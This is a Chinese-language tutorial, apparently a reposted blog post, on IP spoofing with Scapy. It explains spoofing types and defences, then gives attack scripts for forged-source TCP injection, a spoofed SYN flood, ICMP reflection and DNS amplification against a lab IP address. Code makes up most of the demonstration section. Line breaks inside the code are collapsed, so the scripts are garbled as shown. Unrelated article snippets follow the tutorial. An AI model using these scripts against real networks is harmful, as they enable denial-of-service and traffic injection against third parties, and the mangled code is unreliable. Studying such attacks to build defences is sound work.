使用 Scapy 库编写 IP 地址欺骗攻击脚本

一、介绍

1.1 概述

IP地址欺骗(IP Spoofing)是一种网络攻击技术,攻击者伪造其数据包的源IP地址,使其看起来像是从其他合法地址发送的。这种技术常用于各种攻击中,例如DDoS攻击、Man-in-the-Middle(MITM)攻击和拒绝服务(DoS)攻击等。

1.2 攻击原理

IP地址欺骗的核心在于攻击者能够创建带有伪造源IP地址的IP数据包。当目标系统接收到这些数据包时,会误以为它们来自合法的来源,从而执行攻击者预期的操作。由于IP协议本身并不验证数据包的源地址,这种攻击变得相对容易实现。

1.3 具体类型

  1. 非盲欺骗(Non-blind Spoofing)

    • 攻击者能够看到目标系统和合法来源之间的通信。通过截获和分析数据包,攻击者可以伪造合法的IP地址并插入恶意数据包。
  2. 盲欺骗(Blind Spoofing)

    • 攻击者无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。盲欺骗通常用于攻击需要少量数据包的协议(如ICMP和UDP)。
  3. 反射攻击(Reflection Attack)

    • 攻击者伪造数据包的源IP地址,使其看起来像是来自目标系统,并将这些数据包发送到第三方服务器。第三方服务器会将响应数据包发送到目标系统,形成反射攻击。
  4. 放大攻击(Amplification Attack)

    • 类似于反射攻击,但利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。

1.4 防御措施

  1. 反向路径转发(Reverse Path Forwarding, RPF)

    • 在路由器上启用RPF检查,确保数据包的源地址与预期路径匹配。若不匹配,则丢弃数据包。
  2. 访问控制列表(ACL)

    • 在网络设备上配置ACL,限制哪些IP地址可以发送数据包到特定的网络资源。
  3. 入侵检测和防御系统(IDS/IPS)

    • 部署IDS/IPS,实时监控网络流量,检测并阻止异常的流量模式和伪造的数据包。
  4. 网络防火墙

    • 配置防火墙规则,过滤异常的IP地址和不合法的源IP地址。
  5. 网络分段

    • 使用虚拟局域网(VLAN)技术将网络分段,减少欺骗攻击的影响范围。

二、实验环境

受害者:192.168.134.148

三、实操演示

3.1 非盲欺骗(Non-blind Spoofing)

在非盲欺骗中,攻击者能够看到目标系统和合法来源之间的通信,因此可以伪造合法IP地址并插入恶意数据包。

实验步骤:

  1. 设置环境

    • 攻击者设备能够嗅探目标设备的通信。
    • 使用Wireshark或类似工具观察目标设备和合法来源之间的通信。
  2. 捕获合法数据包

    • 捕获目标设备和合法来源之间的通信,特别是TCP连接建立过程(SYN, SYN-ACK, ACK)。
  3. 插入伪造数据包

    • 使用Scapy构造带有合法序列号和确认号的TCP数据包。
from scapy.all import *
from scapy.layers.inet import TCPdef non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num):packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=12345, dport=target_port, seq=seq_num, ack=ack_num, flags="PA") / b"Non-blind spoofing attack"send(packet)if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标系统的IP地址spoofed_ip = "192.168.1.1"   # 伪造的源IP地址target_port = 80             # 目标系统开放的端口seq_num = 1000               # 合法通信中捕获的序列号ack_num = 1001               # 合法通信中捕获的确认号non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num)

这里的话其实开两台主机通信效果最明显 

3.2 盲欺骗(Blind Spoofing)

在盲欺骗中,攻击者无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。这里使用ICMP协议进行简单的盲欺骗示例。 

实验步骤:

  1. 发送大量伪造SYN数据包
    • 使用Scapy发送大量带有伪造源IP地址的SYN数据包。
from scapy.all import *
import random
from scapy.layers.inet import TCPdef blind_spoofing(target_ip, target_port):for _ in range(100):  # 发送100个伪造的SYN数据包spoofed_ip = "192.168.1." + str(random.randint(1, 254))packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S")send(packet)if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标系统的IP地址target_port = 80             # 目标系统开放的端口blind_spoofing(target_ip, target_port)

3.3 反射攻击(Reflection Attack)

反射攻击利用中间服务器(反射器)将攻击数据包反射回目标系统。攻击者伪造数据包的源IP地址,使其看起来像是来自目标系统,并将数据包发送到第三方服务器。

from scapy.all import *
from scapy.layers.inet import ICMPdef reflection_attack(target_ip, reflector_ip):# 发送多个ICMP Echo请求包for _ in range(10):  # 发送10个反射攻击包packet = IP(src=target_ip, dst=reflector_ip) / ICMP() / b"Reflection attack"send(packet)print(f"Sent packet to {reflector_ip} with spoofed source {target_ip}")if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标系统的IP地址reflector_ip = "192.168.134.147"     # 反射器的IP地址,例如公共DNS服务器reflection_attack(target_ip, reflector_ip)

3.4 放大攻击(Amplification Attack)

放大攻击利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。以下示例展示了如何通过伪造源IP地址来实现DNS放大攻击。

from scapy.all import *
from scapy.layers.dns import DNS, DNSQR
from scapy.layers.inet import UDPdef amplification_attack(target_ip, dns_server_ip):# 构造DNS查询请求dns_request = IP(src=target_ip, dst=dns_server_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="www.hubstc.com.cn"))for _ in range(10):  # 发送10个放大攻击包send(dns_request)print(f"Sent DNS request to {dns_server_ip} with spoofed source {target_ip}")if __name__ == "__main__":target_ip = "192.168.134.148"    # 目标系统的IP地址dns_server_ip = "192.168.134.147"      # 公共DNS服务器的IP地址amplification_attack(target_ip, dns_server_ip)

四、注意事项

  1. 合法性和道德规范:确保在合法和授权的环境中进行实验,不得在未经授权的网络上进行IP地址欺骗实验。
  2. 网络隔离:确保实验网络与生产网络隔离,避免对实际业务造成影响。
  3. 监控与恢复:实验过程中实时监控网络和系统状态,实验结束后立即停止攻击工具,并确保系统恢复正常。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/338942.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

车辆前向碰撞预警系统性能要求和测试规程

前言 本文整理《GB/T 33577-2017 智能运输系统-车辆前向碰撞预警系统性能要求和测试规程》国标文件关键信息,FCW系统性能和测试右给深层次的认识。 术语和定义 车辆前向碰撞预警系统 forward vehicle collision warning system自车 subject vehicle(SV)目标车辆 target ve…

面向对象概述

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 面向对象(Object Oriented)的英文缩写是OO,它是一种设计思想。从20世纪60年代提出面向对象的概念到现在&#xff…

Zynq学习笔记--AXI4-Stream 图像数据从仿真输出到图像文件

目录 1. 简介 2. 构建工程 2.1 Vivado 工程 2.2 TestBench 代码 2.3 关键代码分析 3. VPG Background Pattern ID (0x0020) Register 4. 总结 1. 简介 使用 SystemVerilog 将 AXI4-Stream 图像数据从仿真输出到图像文件 (PPM)。 用到的函数包括 $fopen、$fwrite 和 $f…

五类数据容器对比总结 知道喔!

五类数据容器对比总结 1.五类数据容器的区别 是否支持下标索引 支持:列表、元组、字符串---序列类型 不支持:集合、字典---非序列类型 是否支持重复元素 支持:列表、元组、字符串---序列类型 不支持:集合、字典---非序列类型 是…

Nginx企业级负载均衡:技术详解系列(16)—— Nginx的try_files指令,你知道这个指令是干什么的吗?

你好,我是赵兴晨,97年文科程序员。 今天咱们来聊一聊Nginx的try_files指令,你知道这个指令是干什么的吗? 如果你对Web服务器配置有所了解,那么你可能会对try_files指令感到好奇。这个指令实际上是Nginx配置中的一项强…

Go跨平台编译

1.编译windows平台运行程序 # windows env GOOSwindows GOARCHamd64 go build main.go2.编译linux平台运行程序 # linux env GOOSlinux GOARCHamd64 go build main.go 3.编译macos平台运行程序 # macos env GOOSdarwin GOARCHamd64 go build main.go 编译结果:

java收徒、java面试辅导、java辅导、java就业辅导

💗博主介绍:✌全网粉丝1W,CSDN作者、博客专家、全栈领域优质创作者,博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌💗 🌟文末获取源码数据库🌟 感兴趣的可以先收藏起来,还…

19.4-STM32接收数据-状态显示在屏幕 openMV寻迹与小车控制 Openmv+STM32F103C8T6视觉巡线小车

这个是全网最详细的STM32项目教学视频。 第一篇在这里: 视频在这里 STM32智能小车V3-STM32入门教程-openmv与STM32循迹小车-stm32f103c8t6-电赛 嵌入式学习 PID控制算法 编码器电机 跟随 19.4-STM32接收数据-状态显示在屏幕 先通过串口上位机模拟发送、 STM32有视觉循迹模式、…

2024四川三支一扶“考生信息表”照着填❗

2024四川三支一扶“考生信息表”照着填❗ ☑️四川三支一扶开始报名,大家要按照提示如实、准确、完整填写《高校毕业生“三支一扶”计划招募考生信息表》哦~ ☑️不知道怎么填写的宝子们,可以参考图1。 ☑️毕业证书编号如实填写,若是应届生&…

VGGNet

VGGNet CNN卷积网络的发展史 1. LetNet5(1998) 2. AlexNet(2012) 3. ZFNet(2013) 4. VGGNet(2014) 5. GoogLeNet(2014) 6. ResNet(2015) 7. DenseNet(2017) 8. EfficientNet(2019) 9. Vision Transformers(2020) 10. 自适应卷积网络(2021) 上面列出了发展到现在CNN的一些经典…

WPF Binding对象、数据校验、数据转换

在WinForm中,我们要想对控件赋值,需要在后台代码中拿到控件对象进行操作,这种赋值形式,从根本上是无法实现界面与逻辑分离的。 在WPF中,微软引入了Binding对象,通过Binding,我们可以直接将控件与…

基于MingGW64 GCC编译Windows平台上的 libuvc

安装cmake 打开cmake官网 https://cmake.org/download/,下载安装包: 安装时选择将cmake加到系统环境变量里。安装完成后在新的CMD命令窗口执行cmake --version可看到输出: D:\>cmake --version cmake version 3.29.3 CMake suite mainta…

mac多媒体影音库:Emby for Mac 中文版

Emby软件是一款功能强大的媒体服务器软件,旨在为用户提供丰富的多媒体体验。以下是关于Emby软件的详细介绍: 下载地址:https://www.macz.com/mac/7964.html?idOTI2NjQ5Jl8mMjcuMTg2LjE1LjE4Mg%3D%3D 主要功能 媒体管理:Emby允许用…

Java反序列化漏洞与URLDNS利用链分析

前言 前面学习过 Java 反序列化漏洞的部分知识,总结过几篇文章: 文章发布日期内容概括《渗透测试-JBoss 5.x/6.x反序列化漏洞》2020-07-08JBoss 反序列化漏洞 CVE-2017-12149 的简单复现,使用了 ysoserial 和 CC5 链,未分析漏洞…

网络网络层

data: 2024/5/25 14:02:20 周六 limou3434 叠甲:以下文章主要是依靠我的实际编码学习中总结出来的经验之谈,求逻辑自洽,不能百分百保证正确,有错误、未定义、不合适的内容请尽情指出! 文章目录 1.协议结构2.封装分离3.…

搭建基于Django的博客系统增加广告轮播图(三)

上一篇:ChatGPT搭建博客Django的web网页添加用户系统(二) 下一篇:搭建基于Django的博客系统数据库迁移从Sqlite3到MySQL(四) 功能概述 增加轮播图显示广告信息。 需求详细描述 1. 增加轮播图显示广告信…

领导让我调研CI/CD,我给他看了这个

一、概念解释 CI/CD是指持续集成(Continuous Integration)和持续交付/持续部署(Continuous Delivery/Continuous Deployment)的缩写,是现代软件开发中的重要实践。它们旨在通过自动化和持续化的方式改善软件开发、测试…

轻松拿捏C语言——【文件操作】

🥰欢迎关注 轻松拿捏C语言系列,来和 小哇 一起进步!✊ 🎉创作不易,请多多支持🎉 🌈感谢大家的阅读、点赞、收藏和关注💕 🌹如有问题,欢迎指正 目录 &#x1f…

论文阅读:Correcting Motion Distortion for LIDAR HD-Map Localization

目录 概要 Motivation 整体架构流程 技术细节 小结 论文地址:http://arxiv.org/pdf/2308.13694.pdf 代码地址:https://github.com/mcdermatt/VICET 概要 激光雷达的畸变矫正是一个非常重要的工作。由于扫描式激光雷达传感器需要有限的时间来创建…

LeetCode 算法:找到字符串中所有字母异位词c++

原题链接🔗:找到字符串中所有字母异位词 难度:中等⭐️⭐️ 题目 给定两个字符串 s 和 p,找到 s 中所有 p 的 异位词 的子串,返回这些子串的起始索引。不考虑答案输出的顺序。 异位词 指由相同字母重排列形成的字符…